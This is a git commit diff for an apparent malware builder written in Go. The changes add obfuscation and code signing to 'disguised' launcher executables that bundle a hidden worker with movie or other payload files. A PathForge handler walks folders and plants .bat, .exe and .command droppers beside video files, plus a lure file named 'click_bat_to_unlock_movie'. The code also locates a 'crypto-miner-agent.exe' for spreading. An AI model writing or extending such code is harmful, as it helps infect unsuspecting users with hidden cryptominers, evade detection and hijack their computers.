fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
for _, p := range platforms {
src := workers[p.Label()]
if h.shouldSignBuild(req) {
if err := h.signExecutable(src); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if h.shouldSignBuild(req) {
if err := h.signExecutable(res.LauncherPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
windowsRunnerName := disguisedRunnerName(payloadBase)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
RunnerName: windowsRunnerName,
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath

View File

@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
var total int64
switch kind {
case "video":
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
total = workerBytes + stubBytes + resourcePatchOverhead
}
default:
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
// paired: payload ships beside the runner, not inside the .exe
total = workerBytes + stubBytes + resourcePatchOverhead
}
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
label := prepName
if kind != "video" {
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
if label == "" {
label = prepName
}
sub := fusionExportSubdir(req, label)
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
},
}
if kind == "video" {
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
}
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
if req.SignBuild {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
} else if !h.signingToolAvailable() {
resp.Notes = append(resp.Notes, signingToolMissingNote())
}
}
return resp

View File

@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
req := &BuildRequest{
FusionEnabled: true,
FusionOutputName: "MyApp.exe",
FusionMediaMode: "embedded",
OutputDir: "exports",
Obfuscate: true,
}
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
t.Fatalf("prep bytes: got %d", got.PrepBytes)
}
if got.EstimatedTotalBytes <= got.PrepBytes {
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
}
if got.OutputFileName != "MyApp.exe" {
t.Fatalf("output name: %s", got.OutputFileName)
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
}
}
func TestEstimateFusionBuildVideoPaired(t *testing.T) {
func TestEstimateFusionBuildFilePaired(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionPayloadKind: "file",
FusionMediaMode: "paired",
}
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
}
if got.ExportPath == "" {
t.Fatal("expected export path for video")
t.Fatal("expected export path for paired file")
}
}
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionPayloadKind: "file",
FusionMediaMode: "embedded",
}
prepSize := int64(50 * 1024 * 1024)
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
if got.EstimatedTotalBytes <= prepSize {
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
}
}
@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true}
req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
prep := filepath.Join(t.TempDir(), "payload.exe")
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
if got.EstimatedTotalBytes <= 1024 {
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
}
}
@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
}
}
func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
}
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
found = true
break
}
}
if !found {
t.Fatalf("expected signing tool missing note, got %v", got.Notes)
}
}
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),

View File

@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
return nil, err
}
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
}
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"go.mod",
"shell_windows.go", "hidden_windows.go",
"media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go",
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir)
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
if subdir == "" {
return "", nil
}
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
root := h.projectRoot
if root == "" || root == "." {
root = h.dataDir
}
if root == "" {
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
}
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
}

View File

@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
}
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
h := &Handler{projectRoot: ""}
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
dataDir := t.TempDir()
h := &Handler{projectRoot: "", dataDir: dataDir}
src := filepath.Join(t.TempDir(), "runner.exe")
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
t.Fatal(err)
}
dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
if err != nil {
t.Fatal(err)
}
if dir != "" {
t.Fatalf("expected empty dir when no project root, got %q", dir)
want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
if dir != want {
t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
}
}

View File

@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
dlName := strings.TrimSpace(build.FileName)
if dlName == "" {
dlName = filepath.Base(build.FilePath)
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
http.ServeFile(w, r, build.FilePath)
}
@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if h.policy.MaxBuildSizeMB > 0 {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if fileInfo.Size() > maxBytes {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
absPath, _ := filepath.Abs(finalPath)

View File

@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
}
}
func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "bid-2")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuild(rec, req)
if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestDownloadBuildSuccess(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {

View File

@@ -1,7 +1,34 @@
package builder
import (
"fmt"
"os"
)
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
const FusionDeliverablesDir = "fusion-deliverables"
// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
func (h *Handler) checkBuildSize(bytes int64) error {
if h.policy.MaxBuildSizeMB <= 0 {
return nil
}
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if bytes > maxBytes {
return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
}
return nil
}
func (h *Handler) checkBuildSizeFile(path string) error {
st, err := os.Stat(path)
if err != nil {
return err
}
return h.checkBuildSize(st.Size())
}

View File

@@ -1,6 +1,37 @@
package builder
import "testing"
import (
"os"
"path/filepath"
"testing"
)
func TestCheckBuildSizeEnforced(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
t.Fatal("expected oversize error")
}
if err := h.checkBuildSize(512 * 1024); err != nil {
t.Fatalf("expected within limit: %v", err)
}
}
func TestCheckBuildSizeFile(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
path := filepath.Join(t.TempDir(), "big.zip")
if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
t.Fatal(err)
}
if err := h.checkBuildSizeFile(path); err == nil {
t.Fatal("expected file size check failure")
}
}
func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
if multipartMaxMemory <= FusionMaxUploadBytes {
t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
}
}
func TestFusionConstants(t *testing.T) {
if FusionMaxUploadBytes != 2<<30 {

View File

@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
}
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if req.StemMode == "" {
req.StemMode = "original"
}
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
return
}
// Locate the Windows agent binary.
agentExe := findAgentBinary()
agentExe := findAgentBinary(h.dataDir)
if req.TargetWindows && agentExe == "" {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(&PathForgeResult{
Success: false,
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
})
return
}
// Build the extension set.
extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true}
res := &PathForgeResult{}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() {
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok {
res.Skipped++
return nil
}
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// No extension so it appears as a generic document icon on all platforms.
hintName := "click_bat_to_unlock_movie"
hintDst := filepath.Join(dir, hintName)
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
placed = append(placed, hintName)
if len(placed) > 0 {
res.Placed += len(placed)
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
if mediaPlaced > 0 {
res.Placed += mediaPlaced
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else {
res.Errors++
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
}
res.Success = res.Errors == 0
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res)
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(batStem string) string {
func hintContent(stem string, macOnly bool) string {
if macOnly {
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + stem + ".command\n" +
"\n" +
"The launcher unlocks and opens the video automatically.\n"
}
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + batStem + ".bat\n" +
"To play it, double-click " + stem + ".bat\n" +
"\n" +
"The .bat file unlocks and opens the video automatically.\n"
}
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
return s
}
// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
func findAgentBinary(dataDir string) string {
exe, err := os.Executable()
if err != nil {
return ""
@@ -281,6 +306,12 @@ func findAgentBinary() string {
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
if dataDir != "" {
candidates = append(candidates,
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dataDir, "crypto-miner-agent.exe"),
)
}
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c

View File

@@ -0,0 +1,73 @@
package builder
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
root := t.TempDir()
mediaDir := filepath.Join(root, "movies")
if err := os.MkdirAll(mediaDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
t.Fatal(err)
}
// Satisfy Windows target requirement.
exe, err := os.Executable()
if err != nil {
t.Fatal(err)
}
agentDir := filepath.Join(filepath.Dir(exe), "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
t.Fatal(err)
}
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
if runtime.GOOS == "windows" {
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
t.Fatal(err)
}
} else {
// Non-Windows: mac-only path avoids agent exe requirement.
}
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
if runtime.GOOS != "windows" {
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
}
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Total != 1 {
t.Fatalf("total: %d", res.Total)
}
// One media file → exe + bat (or .command), not counting hint file.
if res.Placed < 1 || res.Placed >= 3 {
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
}
for _, entry := range res.Results {
for _, f := range entry.Files {
if f == "click_bat_to_unlock_movie" {
continue
}
}
}
}

View File

@@ -9,6 +9,20 @@ import (
"strings"
)
func signingToolMissingNote() string {
return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := exec.LookPath(tool); err == nil {
return true
}
}
_, err := exec.LookPath("osslsigncode")
return err == nil
}
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
// Install: apt install osslsigncode / brew install osslsigncode

View File

@@ -11,11 +11,32 @@ import (
"strings"
)
func signingToolMissingNote() string {
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := os.Stat(tool); err == nil {
return true
}
}
_, err := findSignTool()
return err == nil
}
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false
}
return req.SignBuild
if !req.SignBuild {
return false
}
if _, err := findSignTool(); err != nil {
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
return false
}
return true
}
func (h *Handler) signExecutable(path string) error {

View File

@@ -2,6 +2,7 @@ package builder
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
return out, nil
}
func bundledToolPath(projectRoot, name string) string {
if projectRoot == "" || projectRoot == "." {
return ""
}
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
for _, candidate := range []string{
filepath.Join(base, name),
filepath.Join(base, name+".exe"),
} {
if _, err := os.Stat(candidate); err == nil {
return candidate
}
}
return ""
}
func (h *Handler) resolveToolPaths(projectRoot string) {
if h.goBinPath == "" {
h.goBinPath = "go"
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
}
if p, err := exec.LookPath("garble"); err == nil {
h.garblePath = p
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
h.garblePath = p
}
if p, err := exec.LookPath("go-winres"); err == nil {
h.goWinresPath = p
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
h.goWinresPath = p
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
h.goWinresPath = p
}
}

View File

@@ -0,0 +1,29 @@
package builder
import (
"os"
"path/filepath"
"runtime"
"testing"
)
func TestResolveToolPathsBundledGarble(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("bundled garble probe uses .exe suffix on Windows")
}
root := t.TempDir()
binDir := filepath.Join(root, "toolchain", "gopath", "bin")
if err := os.MkdirAll(binDir, 0755); err != nil {
t.Fatal(err)
}
garblePath := filepath.Join(binDir, "garble")
if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
t.Fatal(err)
}
h := &Handler{projectRoot: root}
h.resolveToolPaths(root)
if h.garblePath != garblePath {
t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
}
}